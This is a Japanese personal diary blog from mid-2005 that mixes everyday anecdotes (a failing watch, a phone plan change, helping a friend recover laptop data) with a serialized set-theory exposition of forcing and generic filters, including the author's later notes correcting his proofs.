まあ長文にしたり、一見もっともらしい文章にしてもスパムはスパム！その本性を(おばかコンピューターに対してさえも)完全に隠すのは難しいのでしょうな(^^。
それはそうと、こんなのにひっかかる人がいるから大量のスパムをばらまくのでしょうが、どんな人がひっかかるのだろう？
まあサラ金なんかからお金を借りる人もたくさんいて、それなりの(いや！すんごく儲かる)商売になってるみたいなので、それほど不思議でもないかな。あ～情けない。

2005年7月4日(月)

腕時計壊滅
昨日、25年以上付き合っていた腕時計が壊れてしまいました。この時計は私が大学院に入った頃に買ったもので、長年順調に動作していたのですが、数年前から、
針に追随して非同期に文字盤が回る(笑)
なる症状が出ていたのです。いやはやこれが文字盤をたよりに出来ないので、時刻が読み取りにくいのですよ(^^。それでも、慣れるのに少々時間はかかったのですが、使っているうちに「針の角度」だけでちゃんと時刻を読み取れる様になったのです。
ところがおとといあたりから、どうも文字盤と針の摩擦が増えてきたらしく、とうとう 1時間あたり 15分程度遅れるようになってしまったのです。うーむ、 25年来の奥様より長い付き合いですが、これではさすがに使えません。
というわけで昨日新しいのを買いました、ソーラー充電式という以外はこれと言った特徴がない 10,000円のクオーツ時計です。まあ電池を交換しないですむのは楽なのですが、前の時計みたいに長持ちするとは思えず、せめて 7年くらい壊れないでくれるとうれしいのですが、逆に 25年も動き続けたりすると、これは間違いなく私の方が先に動かなくなる、ということで悩みはつきないのであります(^^。

2005年7月3日(日)

forcing について・Genericと名称(4回目)
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

[注意]下記証明では後で論ずる強制関係における等号の性質を暗黙に使用している部分があります。付記も参照して下さい。 　
P-Generic の標準名称の定義は $\dot{G}=\{(\check{p},~p)\,|\,p\in\mathbb{P}\}$ でありました。 $\dot{G}$ が forcing relation において 6月25日に書いた、 forcing について・Genericと名称(2回目) で G1, G2, G3 に記述した P-Generic の定義を満たすなど都合が良すぎる様な気がするのですが、下記に記述するように確かに都合の良いことが成り立つのです。まず次の事実は forcing relation の $\in$ の定義から直ちに得られます。

(a) $\forall{r\in\mathbb{P}}(p||-\check{q}\in\dot{G}~\,\leftrightarrow~\,~\forall~s\le{p}~\exist~r\le{s}(~r\le{q}~))$
(b) $p||-\check{p}\in\dot{G}$

[G1. $\mathbb{1}||-\dot{G}\subset~\check{\mathbb{P}}$ の証明]
Forcing relation における $\forall$ の定義により、 $\dot{x}\in\dot{G}$ を固定してこれが $\mathbb{P}$ の要素になることが 1 により強制されれば良いが。定義により任意の $p\in\mathbb{P}$ に対し
$p||-\dot{x}\in\dot{G}~\,\leftrightarrow~\,~\{q\in\mathbb{P}|\exist{(\check{r},r)\in\dot{G}}(q\le{r}\wedge~q||-~\dot{x}=\check{r})\}\,\,\text{is~dense~below~}p\cr~p||-\dot{x}\in\check{\mathbb{P}}~\,\leftrightarrow~\,~\{q\in\mathbb{P}|\exist{(\check{r},1)\in\check{\mathbb{P}}}(q\le{1}\wedge~q||-~\dot{x}=\check{r})\}\,\,\text{is~dense~below~}p\cr\cr$
従って $\forall{p\in\mathbb{P}}(p||-\dot{x}\in\dot{G}\,\rightarrow\,~p||-\dot{x}\in\check{\mathbb{P}})$ ところが forcing の定義により、一般に
$\mathbb{1}||-\phi\rightarrow\psi\,\Leftrightarrow\,~\forall{p\in\mathbb{P}}(p||-\phi\,\rightarrow\,p||-\psi)$ が成立するので G1 は証明された。
[G2. $\mathbb{1}||-\dot{G}$ is a filter on $\mathbb{\check{P}}$ の証明]
$\mathbb{1}||-\dot{G}\subset\check{\mathbb{P}}$ なので、 $\dot{G}$ の要素は 1 による強制関係に置いて $\check{p}~\quad~(p\in\mathbb{P})$ の形で表現出来ます。さて $r\in\mathbb{P}$ として $r||-\check{p}\in\dot{G}\wedge\check{q}\in\dot{G}$ と仮定すると、例えば $r||-\check{p}\in\dot{G}~\,\leftrightarrow\,\forall{q\le{r}}~\exists{s\le{q}}(s\le{p})$ が成り立つことにより、 $\{s\,|\,~s||-\exists{t}(t\in\dot{G}~\wedge~t\le{\check{p}}~~\wedge~t\le{\check{q}})\}$ が dense below $r$ であることが分かります。従って $r||-\exists{t}({t}\in\dot{G}\wedge{t}\le\check{p}\wedge{t}\le\check{q})$ すなわち
$r||-'\dot{G}$ はフィルター'
(その他のフィルターの条件は自明)。
[G3. $\,\mathbb{1}||-[(\dot{D}\subset\check{\mathbb{P}}~\,\,~\mathrm{is~dense~in}\,\,~\check{\mathbb{P}})~\wedge~\dot{D}\in\check{M}~\,\rightarrow\,~\dot{G}\cap\dot{D}\neq{\emptyset}]$ の証明]
$\dot{D}$ は条件により $D\subset\mathbb{P},~D\in{M}$ に対する $\check{D}$ と表現して問題ありません。さて任意の $d\in{D}$ に対して $d||-\check{d}~\in~\dot{G}\wedge\check{d}\in{\check{D}}$ が成立するので
$d||-\dot{G}\cap\check{D}\neq\emptyset$
このような $d\in{D}$ は dense(below 1)なので(forcing relation の $\in,~=$ の定義により)
$\mathbb{1}||-\dot{G}\cap\check{D}\neq\emptyset$

これで P-Generic の標準名称 $\dot{G}=\{(\check{p},p)\,|\,p\in\mathbb{P}\}$ が強制関係において P-Generic の条件を満たすことが証明出来ました。
[付記 2006年4月15日]
実は上のの証明には問題がある. 最初から強制関係において $\dot{G}$ の要素を $\check{p}$ の形に限定してあることである。一般に $r\||-{\dot{x}\in\dot{G}}$ が成立する場合 $r\||-{\dot{x}\in\mathbb{P}}$ が成り立ち,従って $\forall{s\le{r}}\exists{t\le{s}}\exists{p\in\mathbb{P}}(t\||-\dot{x}=\check{p})$ が成立する. ゆえに $r\||-{\dot{x}\in\dot{G}}\wedge{\dot{y}\in\dot{G}}$ が成立する場合, dense below $r$ な $t\in\mathbb{P}$ に対し, 具体的な $p,q\in\mathbb{P}$ が存在し, $t\||-{\dot{x}=\check{p}~\wedge~\dot{y}=\check{q}}.$ 実際には上記証明はここで記述した $t$ による強制に関して行われ, これらが dense below $r$ なので $r$ の強制に関しても成立するということである。

2005年7月2日(土)

猫森集会リミッテッド抽選結果
昨日 7月24日(日)の入場券が来ました。こちらが第一希望。今年は整理番号ではなく座席指定らしい。

2005年7月1日(金)

AH-K3001Vプラン変更
いままで AH-K3001V のプランとして、パケット料金が定額の「つなぎ放題[1x]」なるものを使用していまして、月々の支払いが「基本料金4,000円程度+音声電話代」だったのです。ところで 2ヶ月程前に奥様がやはり AH-K3001V を購入しまして、ネットを使う機会はあんまりないということで、私(ウイルコムへのPHS)への通話は無料となるウイルコム定額プランを利用しているのです。
ただしこの状態でちと不便だったのは、私から奥様に電話をかけると課金が発生するので、いつもワン切りを行わなくちゃいけないということで、一見たいしたことなさそうなのですが、結構めんどうなんですよこれが！(^^。

というわけで本日よりサービスが始まった、ウイルコム定額プラン+リアルインターネットプラス1x］なるプランに変更したのです。こちらが月額 5,000円と今までより 1,000円も高くなるのですが、家族割引を適用すると 700円引きになるので、実質 300円の負担増で、今後はワン切り運用を行わなくてすむようになります。なんか 300円というとたいしたことがないような気がして、まんまとウイルコムの戦略に乗ってしまったような気もしないではないのですが、まあこれから便利になるので、せいぜい仕事をさぼって長電話でもすることにしましょう(^^。
手続き自体は非常に簡単でして、ウイルコムのサービスセンターに電話をして、用件を話すだけでした。前のプランが 6月13日で一年経過しているので、それから一月以内ということで、年間契約解除のペナルティーも発生しないはず、という件に関しても話をしたのですが、そもそも今回の様なプラン変更の場合、「切りが良い時期」でなくともペナルティーは発生しないそうで、さらにメールアドレスも電話番号も変更しないですむという、とってもとっても手間がかからないプラン変更だったのでした。

2005年6月29日(水)

健康診断本番
というわけで、本日健康診断だったのですが、もちろんもっていくべきものはおとといのうちに準備してあったのです。ただし二日に分けてとるのを、一回でごまかしてしまったのはないしょなのです。肝心の結果ですが、さすがにこの年になると色々壊れてくるらしく、どうも血糖量に問題があるようで、私は絶対に運動しない(育ちが良いので鉛筆より重いのを持ったことがない^^)人なので、これは食べる量を減らすしかありません。それはそうとおそらくこの 25年くらいで初の快挙が！
いままで「ちょいでぶ注意」だったのがついに「普通」になった(^^。
私の身長は大体 175cm なのですが、本日の体重は 76.2Kg。でもってこれ以上で「ちょいでぶ注意」の臨界値が 76.8Kg(^^。つまり 600g の差でセーフだったのです。まあこの身長での標準体重は 67Kg 程度ということで、まだ 10Kg も差があるのですが、無理にやせても意味ないので、再びぶたの道を歩まない様今後注意するということで満足しましょう。

2005年6月28日(火)

つくば出張
[10時30分とっても空いてる電車の中で]
今日は恒例となったつくばへの出張です。会議ではあんまり発言することもなさそうなので、開発の内職でもしてようかな(^^。
[19時45分とっても空いてる電車の中で]
とういわけで会議が終わったのが 19時過ぎ。いやはやおうちに着くのは 22時過ぎですなあ。ちなみに内職は結構はかどったのでした(^^。

2005年6月26日(日)

forcing について・Genericと名称(3回目)
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex
[注意]下記証明では後で論ずる強制関係における等号の性質を暗黙に使用している部分があります。 　
昨日基本論理式以外に関する forcing の定義を行いましたが、本日は基本論理式に対する forcing の定義を記述します。尚、定義自体は、 Kenneth Kunen 著 Set Theory をそのまんま引用です。まず記述を簡単にするために $p\in\mathbb{P}~$ に対し $E\subset\mathbb{P}~$ が dense below $p~$ なる概念を定義します。
[Dense below $p~$ の定義]
$p\in{P}~$ とし $E\subset\mathbb{P}~$ が dense below $p~$ とは次の条件を満たすこと。
$\forall~q\le{p}~\exist~r\in{E}(r\le{q})~$
ここで未記述であったの定義を記述します。
[F1. $p||-\dot{X}=\dot{Y}~$ の定義]
$p||-\dot{X}=\dot{Y}~$ が成り立つとは次の F1-1, F1-2 の条件が成立すること。
F1-1. $\forall~(\dot{x},r)\in\dot{X}~(~~~~~\{q\in\mathbb{P}\,~|~\,~q\le{r}~\rightarrow~~~~\exist~(\dot{y},s)\in\dot{Y}~(q\le{s}~\wedge~q||-\dot{x}=\dot{y})\}~$

is dense below $p)~$
この条件を今後 $X\subset_{p}{Y}~$ と記述する.
F1-2. $\forall~(\dot{y},s)\in\dot{Y}~(~~~~~\{q\in\mathrm{P}\,~|~\,~q\le{s}~\rightarrow~~~~\exist~(\dot{x},r)\in\dot{X}~(q\le{r}~\wedge~q||-\dot{y}=\dot{x})\}~$
is dense below $p)~$
[F2. $p||-\dot{x}\in\dot{X}~$ の定義]
$p||-\dot{x}\in\dot{X}~$ が成り立つとは次の F2 が成立すること。
F2. $\{q\in\mathbb{P}\,|\,~~\exist~(\dot{z},r)\in\dot{X}~(q\le{r}~\wedge~q||-\dot{x}=\dot{z})\}~$ is dense below $p~$
これで昨日の P1～P6 を証明する準備が整いました。まず P1 の証明です。

$p||-\varphi~\vee~\psi\cr~~\leftrightarrow~~p||-\neg(\neg~\varphi~\wedge~\neg\psi)\cr~~\leftrightarrow~~\forall~q\le{p}~(\mathrm{not}\,\,~q||-~\neg\varphi~\wedge~\neg\psi)\cr~~\leftrightarrow~~\forall~q\le{p}~(\mathrm{not}(q||-~\neg\varphi~\wedge~q||-\neg\psi)\cr~~\leftrightarrow~~\forall~q\le{p}~(\mathrm{not}(~~\forall~r\le{q}((\mathrm{not}\,\,r||-~\varphi)~\wedge~~~(\mathrm{not}\,\,r||-~\psi))))\cr~~\leftrightarrow~~\forall~q\le{p}~~~\exist~r\le{q}(r||-~\varphi~\vee~r||-~\psi)\cr~$
P2 の証明は P1 と同様な論理計算です。P3 はのとき dense below が dense below を導くことと F1, F2 の定義から得られます。P4 はの定義に従い論理式の数による帰納法によります。
1. まず $X=Y~$ を仮定すると $M^{\mathbb{P}}~$ の要素として $\check{X}=\check{Y}.~$ 従って強制法の等号の定義により $1\||-{\check{X}=\check{Y}}.~$ 逆方向は仮定を弱め $\exists{p\in\mathbb{P}}(p\||-{\check{X}=\check{Y}})~$ とし $x\in{X}~$ と仮定する. 存在記号の具体例を $p~$ とすると, $\check{X}\subset_{p}\check{Y}~$ が成立しているので, 任意の $q\in\mathbb{P}~$ に対して $r\le{q}~$ が存在し $\exists{\langle~\check{y},~1~~\rangle~\in~\check{Y}}(r\le{1}~\wedge~r\||-{\check{x}~=~~\check{y}}).~$ この $\langle~\check{y},1~\rangle\in\check{Y}~$ を一つ固定すると, $M^{\mathbb{P}}~$ のrankに関する帰納法の仮定により $r\||-{\check{x}=\check{y}}~$ から $x=y~$ が導かれる. 従って標準名称の定義により $x\in{Y}.~$
2. $x\in{X}~\,\Leftrightarrow~\,~\mathbb{1}||-\check{x}\in\check{X}~$ であることは forcing の $\in~$ に関する定義と 1 から簡単に得られます。
3. 論理積と否定に関する帰納法のステップも容易です。
4. 最後に $\varphi(x)~$ を $\Delta_0~$ 論理式とするとき $\forall~x\in{y}\varphi(x)~\,\Leftrightarrow~\,~~~1|=\forall\dot{x}\in\check{y}\varphi(\dot{x})~$ を証明します。まず定義により
  $1|=\forall~\dot{x}\in{\check{y}}(\varphi(\dot{x}))~~\,\Leftrightarrow~\,~~~\forall~\dot{x}\in{\check{y}}(1|=\varphi(\dot{x}))~$
  ところが上式の右側の全称記号は $M^{\mathbb{P}}~$ 上の(forcing とは関係がない)通常の解釈なので
  $\forall~\check{x}\in{\check{y}}(1|=\varphi(\check{x}))~~\,\Leftrightarrow~\,~~~\forall~x\in{{y}}(1|=\varphi(\check{x}))~$
  と書き直すことが可能です。 $\varphi(x)~$ は $\Delta_0~$ 論理式だったので、帰納法の仮定により
  $\forall~x\in{{y}}\varphi(x)~$
これで前日の P4 の証明が完了しました。P5 は長くなりそう！書くのはいつになるのだろう。でも一番肝心なことなので証明しないと議論が進まないし...。いやはや面倒ですなあ(笑)。

2005年6月25日(土)

forcing について・Genericと名称(2回目)
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex
前回集合論(ZFC)の推移的モデル $M~$ とそれに属する半順序集合 $\mathbb{P}~$ に対して、P-名称からかるクラス $M^{\mathbb{P}}~$ と $M~$ の要素の標準名称を定義しましが、ここで P-Generic $G~$ の標準名称 $\dot{G}~$ を定義します。
$\dot{G}~=~\{(\check{p},p)~|~p\in\mathbb{P}\}~$ を $\mathbb{P}~$ -Generic の標準名称と呼ぶ
$\dot{G}~$ は特定の P-Generic(存在してもしなくても)とは無関係に $M~$ 上定義可能であることが重要です。
さて、これから forcing の定義を行いその基本性質を記述したいわけですが、完全な定義する前に forcing が満たすべき性質を列挙したいと思います。
まず、集合論の言語に P-名称、すなわち $M^{\mathbb{P}}~$ の要素をすべて定数として追加した言語を考え、この言語を forcing language と呼ぶこととします。さて $\varphi(x_1,~x_2,~\cdots~,~x_n)~$ を論理式とし、自由変数はすべて $x_1,~x_2,~\cdots~,~x_n~$ に現れるものとします。このとき $p\in\mathbb{P},~\dot{x_1},~\dot{x_2},~\cdots,~\dot{x_n}\in{M^{\mathbb{P}}}~$ (名称を表す対象式には \dot を付加する場合が多い)に対し強制関係
$p||-\varphi(\dot{x_1},~\dot{x_2},~\cdots,~\dot{x_n})~$ ( $p~$ は $\varphi(\dot{x_1},~\dot{x_2},~\cdots,~\dot{x_n})~$ を強制する)
を今日は一部分定義して、証明抜きで基本的な性質を列挙します。
[forcing の定義]
F1. $p||-\dot{X}=\dot{Y}~$ の定義は次回以降
F2. $p||-\dot{x}\in\dot{X}~$ の定義は次回以降
F3. $p||-\varphi\wedge\psi~\,\Leftrightarrow~\,(p||-\varphi\,\,\mathrm{and}\,\,p||-\psi)~$
F4. $p||-\neg\varphi~\,~\Leftrightarrow\,~(\mathrm{not}\,~q||-\varphi\,\,~~\mathrm{for~all}\,\,q\le{p})~$
F5. $p||-\forall{\dot{x}}\varphi(\dot{x})\,\Leftrightarrow\,~~(p||-\varphi(\dot{x})\,\,\mathrm{for~all}\,~\dot{x}\in{M^{\mathbb{P}}})~$
肝心の F1, F2の定義は案外難しいです(少なくとも私にとっては...)。ここで F1,F2 の性質に依存するので、もちろん今証明を記述出来ないのですが、 forcing の重要な性質をいくつか列挙します。
P1. $p||-\varphi\vee\psi\,\Leftrightarrow\,~~\forall{q\le{p}}\exist{r\le{q}}(r||-\varphi~\vee~r||-\psi)~$
P2. $p||-\exist{\dot{x}}\varphi(\dot{x})\,\Leftrightarrow\,~~\forall{q\le{p}}\exist{r\le{q}}~~(\exist\dot{x}\in{M^{\mathbb{P}}}(r||-\varphi(\dot{x})))~$
P3. $p||-\varphi~\wedge~~(q\le{p})~\,\Rightarrow~\,q||-\varphi~$
P4. $\varphi~$ を $\Delta_{0}~$ 論理式とするとき $\,\,\,\,\,\,\,\,M|=\varphi(x_1,~x_2,~...,~x_n)\,\Leftrightarrow\,~~~\mathbb{1}||-\varphi(\check{x_1},~\check{x_2},~\cdots,~\check{x_n})~$
P5. $\varphi~$ を ZFC の公理とするとき $\mathbb{1}||-\varphi~$
P6. $\mathrm{ZFC}|-\varphi\,\Rightarrow\,\mathbb{1}||-\varphi~$
ここで $\Delta_0~$ 論理式は次の様に定義されます。

D1. $x=y,~x\in{y}~$ は $\Delta_0~$ 論理式
D2. $\varphi,~\psi~$ を $\Delta_0~$ 論理式とするとき $\varphi\wedge\phi~$ も $\Delta_0~$ 論理式
D3. $\varphi~$ を $\Delta_0~$ 論理式とするとき $\neg\varphi~$ も $\Delta_0~$ 論理式
D4. $\varphi~$ を $\Delta_0~$ 論理式とするとき $\forall{x}\in{y}\varphi(x)~$ も $\Delta_0~$ 論理式

さらにそんなに難しくはないのですが、個人的にか結構気になっていた基本的な事項、即ちP-Generic の標準名称 $\dot{G}~$ が強制関係において、確かにGenericの性質を満たすことも示したいと考えています。即ち下記の証明を記述します(最初なのでかなりくどい記法になっています)。
$\mathrm{G1.}\,\mathbb{1}||-\dot{G}\subset\mathbb{\check{\mathbb{P}}}\cr~~\mathrm{G2.}\,\mathbb{1}||-\dot{G}\,\,\text{is~a~filter~on}\,\,~~\mathbb{\check{\mathbb{P}}}\cr~~\mathrm{G3.}\,\mathbb{1}||-[(\dot{D}\subset\check{\mathbb{P}}~\,\,~~\text{is~dense~in}\,\,~~\check{\mathbb{P}})~\wedge~\dot{D}\in\check{M}~~\,\rightarrow\,~\dot{G}\cap\dot{D}\neq{\emptyset}]~$
うるさいこと言うと $\mathbb{P}~$ の順序関係を $R~$ とした場合 $\check{R}~$ が $\check{\mathbb{P}}~$ の順序関係であることが強制される事実も示す必要もあります。
次回は F1, F2 の定義をきちんと行い、比較的簡単な P1, P2, P3, P4 を証明する予定です。ちなみに P5 の証明はそれ以前のものに比べてはるかに難しいです。

2005年6月23日(木)

Tigerおまけ電卓
OSのおまけに電卓が付いてくることは結構多いのですが、実用的に使用出来るものは案外少ないと思います。そもそも私は電卓に関して案外わがままなところがありまして、次の条件が満たされないといまいち(絶対に？)使用する気分にならないのです。
逆ポーランドでないと絶対にだめ。
プログラマー向け 16, 10, 8, 2進数が使用出来ないとだめ。
cos, sin, exp 等の初等超越関数近似機能も欲しい。
ところが本日偶然、どうせTigerのおまけ電卓もたいしたことないんだろうな～、と思って電卓を起動してみたのですが、これがホントに素晴らしいのですよ(^^。まず RPN (逆ポーランド入力)を使用出来るモードがちゃんとありまして、さらにいわゆる科学技術計算モード、プログラマーモードもありまして、今まで RPN のフリーソフトを色々と集めて用途により使い分けていたのですが、今後はこれ一つですべての用途に使えそうなのです。うーん素晴らしい(^^。

2005年6月22日(水)

HPと間違われる
お昼休みにうだうだしてたら、会社の取締役の T さんが私のところに来まして、「あれっ、かがみさん HP のノート使ってるんですか」と言うのです。

なに～、えっちぴーだと～！！なんと失礼な(=_=)
どうも遠くから見るとこれに似てるということなのです。でも似てるっていったって、単に銀色っぽいだけじゃん(^^。格調高い PowerBook と間違えないでちょうだいよ！。
ところで Tさんによりますと、こんど上のリンクの HP 4800/CT シリーズを買おうかな～、という話なのですが、いつの間にか机の上の PowerBook が HP と入れ替わっていたらどうしよう(^^。

2005年6月21日(火)

多項式補完の謎
私が勤めている会社ではいろいろなデーターを収集する機材を開発しているのですが、実際の現場では種々の原因により、まれにデーターを収集しそこなう場合もあるのです。その場合データーを補完する必要が発生する場合もあるのですが、詳しい人の話によりますと、
データーの補完は、通常 1次から 5次までの多項式を使用して行う場合が多い
そうなのです。うーむどうして最大 5次なのだろう...。ここで普通(普通じゃないか^^)思いつくのは、「5次以上の方程式は一般に四則演算と冪根では解けない」ということで、もしかして実測データーというのは例えば楕円関数(5 次方程式は楕円関数を使えば解ける)を使用すると良い近似が出来るのかな？
いやいやもちろんそんなことがあるはずがなく、経験的に 5次位で十分というのがほんとの理由なのですが、「5次方程式」というとすぐに「代数的な観点から反応してしまう」というのも、長い間の習性とはいえ、実生活では役に立たないことおびだたしいですな(^^。

2005年6月18日(土)

人様緊急データー復旧作業
本日の 21時頃食事も終ってうだうだしていたら、突然家族全員知り合いの人 (Aさんとします)から電話が。話を聞くと、彼が使っているシャープのノート PC が突然ブートしなくなり、Windows XP を再インストールしたけどうまくゆかず、明日どうしても使用したいのと、中に入っているデーターがなくなってしまうと大変面倒なことになる、ということなのです。
「えーっと、領域は C, D に分割してあるのですか」と聞いたところ、そうなっているそうで、再インストール時にデーターが置いてある D は壊していないはずであるということなのです。いずれにしても話を聞いただけではらちがあかないので、奥様に運転お願いして車で 30分位の A さんのお宅に出陣しまして、到着が 22時。もってったものは、
1. PowerBook --- これは調べものが必要な時 AH-K3001を使ってネットに接続するため。
2. FreeBSD/X24 --- これは A さんのノート PC のハードディスクをマウントして調べるため。
3. 2.5inch HDD/USB 変換箱 --- 2 で使うため。
4. USB たこ --- 2 で使う場合ノートでは電源が不足する可能性があるため。
5. 余っている 2.5inch 30Gハードディスク --- 何かのときに役立ちそう。
6. ドライバーセット --- HDD を外したりする場合必要かも。
でして、鞄二つにつめこんでなんか大変な騒ぎになってきました(^^。
一番気になったのは、ハードディスクが簡単に外れるかということだったのですが、幸いねじ二つだけで取れる様な機構になっていまして、その点はほっとしたのです。さっそく取り外して IDE/USB 変換箱経由で X24に接続したところうまいこと認識されまして、デバイス名が /dev/da0。Fdisk で調べたところ、確かに二つパーティションが切ってあります。でも XP なのに FAT32形式だったのにはちょっとびっくり。な～んだ、それなら PowerBook だけ持ってけば良かったかな。それはともかく、まずは C ドライブをマウントしてみようということで、次のコマンドを実行です。
```
# mount -t msdos -oro /dev/da0s1 /mnt
```
これはうまいことマウント出来まして、確かに C ドライブっぽい内容です。よしよしこれならば D ドライブも簡単にマウント出来て、とりあえずデーターの退避は簡単に出来るであろうと思ったのです。ところが /dev/da0* のどれを使っても、D ドライブをマウント出来ないのですよ！。
うーむ、もしかして D ドライブの先頭のメタ情報が壊れているとするととっても面倒、といいますか、修復不可能だろうな。困ったな～、と思いつつ次なる作戦は、持って行ったハードディスクを A さんのノート PC に入れ、それに Windows XP をインストールして、A さん所有の調子が悪いディスクを USB 経由で刺してみようかということです。インストールするのに一時間近くかかりそうで、すでに時間は午前零時を回ったのですが、乗りかかった船！ここでやめる訳にはいきません。世間話をしているうちにインストールも終了しまして、さっそく A さんのディスクを USB 経由で刺したところ、おお！
E ドライブと F ドライブが見えるではないか(^^。
さらに間違いなく F ドライブの内容は、もともとの D ドライブの内容であるとのこと。これでやっとこデーターを救うことが出来そうです。ということで、 F(A さんの調子が悪いディスク)から C(私のハードディスク)に重要そうなフォルダー全部まとめてコピーしようとしたのですが、半分予想していた通り途中でエラーが発生します。特定のファイルが読めないようです。そこでちと面倒だったのですが、コピー不能なフィアルはあきらめてもらうということで、一つ一つ確認しながらファイルをコピーを行ったのですが、幸いにして、コピー出来なかったファイルは大して重要でないものばかりだったのです。でも、なかなかスリルのあるコピー作業でした(^^。
これですべてがうまく行った様ですが、問題は今 A さんのノート PC に入っていて、非常に調子よく動作しているディスクは私のものだということで(笑)、まあ私にとっては緊急に必要があるものでもなく、A さんにとっては「明日どうしても必要」なものだそうなので、落ち着くまで一月間程度、そのままの状態でお貸しすることにしました。
ちなみに Aさんはちともったいなさそうにしていたのですが、「今まで使っていたハードディスクは破棄して新品を購入しないと、また同じことになりますよ！それからバックアップはまめにとること！！」と念を押したことはもちろんです(^^。作業終了が早朝 2時で帰宅が 2時30分。980円の IDE/USB 変換機君、大活躍でした。

2005年6月17日(金)

iPod shuffle

巨大ヘッドフォンを繋いでみた

今日の朝になって突然モカちゃんいわく。「本当は iPod mini が欲しかった！」。
うーん、そういうことは早めに言わないと～(^^。ところで iPod mini は一番安いのでも二万円以上しまして、小学生への誕生日プレゼントとしては高すぎますし、そもそもそんなにお金がありません。でも考えてみると、そんなにたくさん CD とか持っている訳でもないのに、4G もの容量が必要とは思えません。まあそういうのが欲しくなる年頃であることは分かるので、これも小学生にはちと高いとは思ったのですが、お昼休みに 512M の iPod shuffle を一万円ちょっとで購入です。
おうちに帰ってさっそく、「一日遅れのプレゼントで、しかも iPod mini じゃないんだけど～」と見せたところ、モカちゃん大喜びで言うには、
あれれれっ、それ iPod mini じゃないの？
あはは！やっぱり違いが分かってなかったのね(^^。というわけでご家族様 PC にiTunes をダウンロードして、さらにモカちゃん所有の CD を AAC(192Kbit だよ！！) に変換して iPod mini にダウンロードして聴いてみたのですが、それなりの音は出るようで、なんか私も欲しくなって来たのですが、いやいやこれ以上散財するのはぜったいぜったいに避けなければいけません(^^。

2005年6月16日(木)

モカちゃん誕生日
今日はモカちゃん 12才の誕生日。みんなでお祝いのケーキを食べたのですが、肝心のプレゼントは、「特に欲しいものないな～」というので今年は特に上げないつもりだったのですが...。

2005年6月15日(水)

健康診断
今年も健康診断の日がが近づいてきました。いやいや前みたいなねたにするつもりはないのですが、一つだけ大きな謎があるのです。つまりですな！洋式のトイレで検便のねたを採取するのは非常に難しい、ということに関して前回非常に論理的かつ精緻なる考察を行いましたが、要するに沈んでしまうと後が非常に面倒になるということなのです。そこでなんとか沈まない算段を行う必要が生じるのですが、「大きいのは沈みやすい」ということは経験的に良く知られている事実であると思います。というわけで、最初の部分を「切って」小さい状態のを浮かせて採取する手法が一般的な訳ですが、ここで大いなる謎が...。
おっきくてもちっちゃくても比重は同じはずなのに、どうして浮いたり沈んだりするのか(^^。
むむむむむっ、これは科学史上最大の謎なのでは！！。リーマン予想より難しいかもしれない。もしこの大問題に対する納得のゆく理論が構築出来れば、人類最大の知的偉業が達成されるとともに、健康にもとっても役立つということで、ノーベル医学賞生理学賞の受賞は間違いありません。それにしても難解な(笑)。どこから手をつければ良いのだろう(^^。

2005年6月13日(月)

お休み
今日はとっても体調が悪くて、会社休んで一日寝てました。休日中数学で無理しすぎてるのか？

2005年6月12日(日)

forcing について・Genericと名称(1回目)
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

Forcing(強制法)という概念は、連続体仮説の ZFC からの独立性と選択公理の ZF からの独立の証明において、1963年に Paul Cohen により提唱された、極めて斬新的な手法です。ここでは歴史的な順序は追わず、最初に Generic なる概念を定義します。まず半順序集合の稠密部分集合(dense subset)の定義から。
[稠密部分集合の定義]
半順序集合 $\mathbb{P}~$ の部分集合 $D~$ が $\mathbb{P}~$ で稠密とは次の条件が成立すること。
$\forall~p\in\mathbb{P}~\exists~d\in{D}~(~d~\leq~p)~$
そして Generic の定義。
[Generic の定義]
$\mathbb{P}\in{M}~$ を半順序集合とし最大元 $\mathbb{1}~$ を持つとする(半順序構造は明記しないが、これも $M~$ の要素とする)。 $\mathbb{P}~$ 上のフィルター $G~$ が $M~$ 上 $\mathbb{P}~$ -generic とは次の条件を満たすこと。
$D\subset\mathbb{P}~$ が $D\in{M}~\wedge~(D\,\,~\text{is~dense~in}\,\,\mathbb{P})~$ を満たすとき $G\cap{D}\neq{\emptyset}~$
興味ある Generic $G~$ は $M~$ の要素にはなりません ( Martin の公理参照 ) 。それではどこの要素となるのかと言いますと、 $M\in{V}~$ が ZFC の可算モデルの場合は $V~$ の要素となることが分かるのですが、ZFC の可算モデルの存在はゲーデルの不完全定理により ZFC からは証明出来ません。しかしながら証明しようとしている文脈で必要とする「有限な」公理系に対するモデルの存在は証明出来るので、それを考えるというアプローチが考えられます。それにもかかわらず、可算モデルのみを考えるのは色々不便な面があるのと、実際には $V~$ の要素である半順序集合に対する仮想的な Generic $G~$ を考え、それにを $V~$ に付け加えた「仮想的な拡大」 $V[G]~$ を考えて推論を行うことは超数学的に正当な推論のちょっと省略した記述である、ということが(おそらく Boolean-valued model による手法により)知られています。そこで当面「generic が存在しない」という点に関しては気にしないで推論を進めることとします。
さて Generic G はフィルター(特に超フィルターともなると)というだけで仮想的な感じが強いのですが、Generic なる条件を考えることにより、さらに仮想的な雰囲気が強まり(竹内外史先生の言葉によると「夢の世界」)、その性質を具体的に記述するのは難しい感じがしますし、事実そうなのです。
